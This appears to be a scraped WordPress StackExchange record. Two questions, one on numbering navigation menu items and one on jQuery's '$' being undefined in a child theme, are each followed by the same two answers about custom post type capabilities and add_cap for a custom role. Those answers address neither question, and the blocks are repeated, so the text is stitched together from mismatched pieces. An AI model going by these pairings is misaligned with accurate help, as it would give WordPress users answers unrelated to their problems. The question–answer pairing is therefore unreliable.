[ { "answer_id": 351164, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 2, "selected": false, "text": "<p>You definitely need to set <code>map_meta_cap</code> to <code>true</code> instead of false to create custom capabilities.</p>\n\n<p>I haven't seen the <code>'capability_type' =&gt; ['note','notes']</code> way of creating capabilities before - maybe it's shorthand, but if just changing <code>map_meta_cap</code> doesn't work, you might want to spell everything out the long way:</p>\n\n<pre><code>&lt;?php\n$args = array(\n 'labels' =&gt; $labels,\n 'public' =&gt; false,\n 'show_ui' =&gt; true,\n 'show_in_menu' =&gt; true,\n 'query_var' =&gt; true,\n 'has_archive' =&gt; false,\n 'menu_position' =&gt; null,\n // The most crucial change: true\n 'map_meta_cap' =&gt; true,\n // Possibly required: spelling out every capability individually\n 'capabilities' =&gt; array(\n 'edit_post' =&gt; 'edit_note',\n 'read_post' =&gt; 'read_note',\n 'delete_post' =&gt; 'delete_note',\n 'create_posts' =&gt; 'create_notes',\n 'delete_posts' =&gt; 'delete_notes',\n 'delete_others_posts' =&gt; 'delete_others_notes',\n 'delete_private_posts' =&gt; 'delete_private_notes',\n 'delete_published_posts' =&gt; 'delete_published_notes',\n 'edit_posts' =&gt; 'edit_notes',\n 'edit_others_posts' =&gt; 'edit_others_notes',\n 'edit_private_posts' =&gt; 'edit_private_notes',\n 'edit_published_posts' =&gt; 'edit_published_notes',\n 'publish_posts' =&gt; 'publish_notes',\n 'read_private_posts' =&gt; 'read_private_notes'\n ),\n 'rewrite' =&gt; [ 'slug' =&gt; 'note', 'with_front' =&gt; false ],\n 'supports' =&gt; [ 'editor' ],\n 'menu_icon' =&gt; 'dashicons-format-aside',\n);\nregister_post_type( 'note', $args );\n?&gt;\n</code></pre>\n\n<p>You may also want to grant your custom role a few other capabilities:</p>\n\n<pre><code>&lt;?php\n$role = get_role( 'my_custom_role' );\n// Read (front end) all post types\n$role-&gt;add_cap('read');\n// Adjust their dashboard\n$role-&gt;add_cap('edit_dashboard');\n// Upload files\n$role-&gt;add_cap('upload_files');\n// See the list of users (but not manage them)\n$role-&gt;add_cap('list_users');\n// Allow taxonomy management - Categories and custom taxonomies\n$role-&gt;add_cap('manage_categories');\n// Use the Customizer\n$role-&gt;add_cap('edit_theme_options');\n// Only if you really need to, allow them to paste in HTML/JS\n$role-&gt;add_cap('unfiltered_html');\n?&gt;\n</code></pre>\n\n<p>At a minimum I usually grant \"read\" to custom roles so they can see the front end of the site.</p>\n" }, { "answer_id": 377082, "author": "szabo.eva.irma", "author_id": 196585, "author_profile": "https://wordpress.stackexchange.com/users/196585", "pm_score": 0, "selected": false, "text": "<p>My problem was the same and here that worked for me:</p>\n<p>Add this line to capabilities:\n$role-&gt;add_cap('create_notes');</p>\n<p>And this plugin is very useful to clear custom rules and capabilities when you modify somthing and changes don't apply: <a href=\"https://wordpress.org/plugins/reset-roles-and-capabilities/\" rel=\"nofollow noreferrer\">Reset roles and capabilities</a></p>\n<p>Plus you can try this plugin: <a href=\"https://wordpress.org/plugins/capability-manager-enhanced/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/capability-manager-enhanced/</a></p>\n" } ]
2019/10/25
[ "https://wordpress.stackexchange.com/questions/351237", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/157522/" ]
In my website I need a navigation menu to show arrangement of my posts. So I need the navigation menu to count the items and display the number of every item as a label before the title of that item. I think we need a `foreach` in `wp_get_nav_menu_items` to count but I don't know exactly the way. I need something like this from that menu: 1- title one 2- title two 3- title three 4- ... I have the following codes but I have two issues: 1- I do not know why it does not work? 2- I need a class as `.current-menu-item` to find the current item in other items. this class is as a default class in wordpresss menu but I can not do that. ``` // Get the nav menu based on $menu_name (same as 'theme_location' or 'menu' arg to wp_nav_menu) // This code based on wp_nav_menu's code to get Menu ID from menu slug $menu_name = 'custom_menu_slug'; if ( ( $locations = get_nav_menu_locations() ) && isset( $locations[ $menu_name ] ) ) { $menu = wp_get_nav_menu_object( $locations[ $menu_name ] ); $menu_items = wp_get_nav_menu_items($menu->term_id); $menu_list = '<ul id="menu-' . $menu_name . '">'; menu_count = 0; foreach ( (array) $menu_items as $key => $menu_item ) { $title = $menu_item->title; $url = $menu_item->url; $menu_count++; $menu_list .= '<li><span>'.$menu_count.'</span><a href="' . $url . '">' . $title . '</a></li>'; } $menu_list .= '</ul>'; } else { $menu_list = '<ul><li>Menu "' . $menu_name . '" not defined.</li></ul>'; } // $menu_list now ready to output ``` Thanks a lot to helping
You definitely need to set `map_meta_cap` to `true` instead of false to create custom capabilities. I haven't seen the `'capability_type' => ['note','notes']` way of creating capabilities before - maybe it's shorthand, but if just changing `map_meta_cap` doesn't work, you might want to spell everything out the long way: ``` <?php $args = array( 'labels' => $labels, 'public' => false, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => true, 'has_archive' => false, 'menu_position' => null, // The most crucial change: true 'map_meta_cap' => true, // Possibly required: spelling out every capability individually 'capabilities' => array( 'edit_post' => 'edit_note', 'read_post' => 'read_note', 'delete_post' => 'delete_note', 'create_posts' => 'create_notes', 'delete_posts' => 'delete_notes', 'delete_others_posts' => 'delete_others_notes', 'delete_private_posts' => 'delete_private_notes', 'delete_published_posts' => 'delete_published_notes', 'edit_posts' => 'edit_notes', 'edit_others_posts' => 'edit_others_notes', 'edit_private_posts' => 'edit_private_notes', 'edit_published_posts' => 'edit_published_notes', 'publish_posts' => 'publish_notes', 'read_private_posts' => 'read_private_notes' ), 'rewrite' => [ 'slug' => 'note', 'with_front' => false ], 'supports' => [ 'editor' ], 'menu_icon' => 'dashicons-format-aside', ); register_post_type( 'note', $args ); ?> ``` You may also want to grant your custom role a few other capabilities: ``` <?php $role = get_role( 'my_custom_role' ); // Read (front end) all post types $role->add_cap('read'); // Adjust their dashboard $role->add_cap('edit_dashboard'); // Upload files $role->add_cap('upload_files'); // See the list of users (but not manage them) $role->add_cap('list_users'); // Allow taxonomy management - Categories and custom taxonomies $role->add_cap('manage_categories'); // Use the Customizer $role->add_cap('edit_theme_options'); // Only if you really need to, allow them to paste in HTML/JS $role->add_cap('unfiltered_html'); ?> ``` At a minimum I usually grant "read" to custom roles so they can see the front end of the site.
351,250
<p>I am using $ in my custom js file in a wordpress child theme. But it says $ is not defined. But jQuery works fine. What is the reason? Is it because $ is used in newer version of jQUery and WP uses old version 1.12.4. Kindly correct me.</p> <p>Kind Regards</p>
[ { "answer_id": 351164, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 2, "selected": false, "text": "<p>You definitely need to set <code>map_meta_cap</code> to <code>true</code> instead of false to create custom capabilities.</p>\n\n<p>I haven't seen the <code>'capability_type' =&gt; ['note','notes']</code> way of creating capabilities before - maybe it's shorthand, but if just changing <code>map_meta_cap</code> doesn't work, you might want to spell everything out the long way:</p>\n\n<pre><code>&lt;?php\n$args = array(\n 'labels' =&gt; $labels,\n 'public' =&gt; false,\n 'show_ui' =&gt; true,\n 'show_in_menu' =&gt; true,\n 'query_var' =&gt; true,\n 'has_archive' =&gt; false,\n 'menu_position' =&gt; null,\n // The most crucial change: true\n 'map_meta_cap' =&gt; true,\n // Possibly required: spelling out every capability individually\n 'capabilities' =&gt; array(\n 'edit_post' =&gt; 'edit_note',\n 'read_post' =&gt; 'read_note',\n 'delete_post' =&gt; 'delete_note',\n 'create_posts' =&gt; 'create_notes',\n 'delete_posts' =&gt; 'delete_notes',\n 'delete_others_posts' =&gt; 'delete_others_notes',\n 'delete_private_posts' =&gt; 'delete_private_notes',\n 'delete_published_posts' =&gt; 'delete_published_notes',\n 'edit_posts' =&gt; 'edit_notes',\n 'edit_others_posts' =&gt; 'edit_others_notes',\n 'edit_private_posts' =&gt; 'edit_private_notes',\n 'edit_published_posts' =&gt; 'edit_published_notes',\n 'publish_posts' =&gt; 'publish_notes',\n 'read_private_posts' =&gt; 'read_private_notes'\n ),\n 'rewrite' =&gt; [ 'slug' =&gt; 'note', 'with_front' =&gt; false ],\n 'supports' =&gt; [ 'editor' ],\n 'menu_icon' =&gt; 'dashicons-format-aside',\n);\nregister_post_type( 'note', $args );\n?&gt;\n</code></pre>\n\n<p>You may also want to grant your custom role a few other capabilities:</p>\n\n<pre><code>&lt;?php\n$role = get_role( 'my_custom_role' );\n// Read (front end) all post types\n$role-&gt;add_cap('read');\n// Adjust their dashboard\n$role-&gt;add_cap('edit_dashboard');\n// Upload files\n$role-&gt;add_cap('upload_files');\n// See the list of users (but not manage them)\n$role-&gt;add_cap('list_users');\n// Allow taxonomy management - Categories and custom taxonomies\n$role-&gt;add_cap('manage_categories');\n// Use the Customizer\n$role-&gt;add_cap('edit_theme_options');\n// Only if you really need to, allow them to paste in HTML/JS\n$role-&gt;add_cap('unfiltered_html');\n?&gt;\n</code></pre>\n\n<p>At a minimum I usually grant \"read\" to custom roles so they can see the front end of the site.</p>\n" }, { "answer_id": 377082, "author": "szabo.eva.irma", "author_id": 196585, "author_profile": "https://wordpress.stackexchange.com/users/196585", "pm_score": 0, "selected": false, "text": "<p>My problem was the same and here that worked for me:</p>\n<p>Add this line to capabilities:\n$role-&gt;add_cap('create_notes');</p>\n<p>And this plugin is very useful to clear custom rules and capabilities when you modify somthing and changes don't apply: <a href=\"https://wordpress.org/plugins/reset-roles-and-capabilities/\" rel=\"nofollow noreferrer\">Reset roles and capabilities</a></p>\n<p>Plus you can try this plugin: <a href=\"https://wordpress.org/plugins/capability-manager-enhanced/\" rel=\"nofollow noreferrer\">https://wordpress.org/plugins/capability-manager-enhanced/</a></p>\n" } ]
2019/10/25
[ "https://wordpress.stackexchange.com/questions/351250", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128189/" ]
I am using $ in my custom js file in a wordpress child theme. But it says $ is not defined. But jQuery works fine. What is the reason? Is it because $ is used in newer version of jQUery and WP uses old version 1.12.4. Kindly correct me. Kind Regards
You definitely need to set `map_meta_cap` to `true` instead of false to create custom capabilities. I haven't seen the `'capability_type' => ['note','notes']` way of creating capabilities before - maybe it's shorthand, but if just changing `map_meta_cap` doesn't work, you might want to spell everything out the long way: ``` <?php $args = array( 'labels' => $labels, 'public' => false, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => true, 'has_archive' => false, 'menu_position' => null, // The most crucial change: true 'map_meta_cap' => true, // Possibly required: spelling out every capability individually 'capabilities' => array( 'edit_post' => 'edit_note', 'read_post' => 'read_note', 'delete_post' => 'delete_note', 'create_posts' => 'create_notes', 'delete_posts' => 'delete_notes', 'delete_others_posts' => 'delete_others_notes', 'delete_private_posts' => 'delete_private_notes', 'delete_published_posts' => 'delete_published_notes', 'edit_posts' => 'edit_notes', 'edit_others_posts' => 'edit_others_notes', 'edit_private_posts' => 'edit_private_notes', 'edit_published_posts' => 'edit_published_notes', 'publish_posts' => 'publish_notes', 'read_private_posts' => 'read_private_notes' ), 'rewrite' => [ 'slug' => 'note', 'with_front' => false ], 'supports' => [ 'editor' ], 'menu_icon' => 'dashicons-format-aside', ); register_post_type( 'note', $args ); ?> ``` You may also want to grant your custom role a few other capabilities: ``` <?php $role = get_role( 'my_custom_role' ); // Read (front end) all post types $role->add_cap('read'); // Adjust their dashboard $role->add_cap('edit_dashboard'); // Upload files $role->add_cap('upload_files'); // See the list of users (but not manage them) $role->add_cap('list_users'); // Allow taxonomy management - Categories and custom taxonomies $role->add_cap('manage_categories'); // Use the Customizer $role->add_cap('edit_theme_options'); // Only if you really need to, allow them to paste in HTML/JS $role->add_cap('unfiltered_html'); ?> ``` At a minimum I usually grant "read" to custom roles so they can see the front end of the site.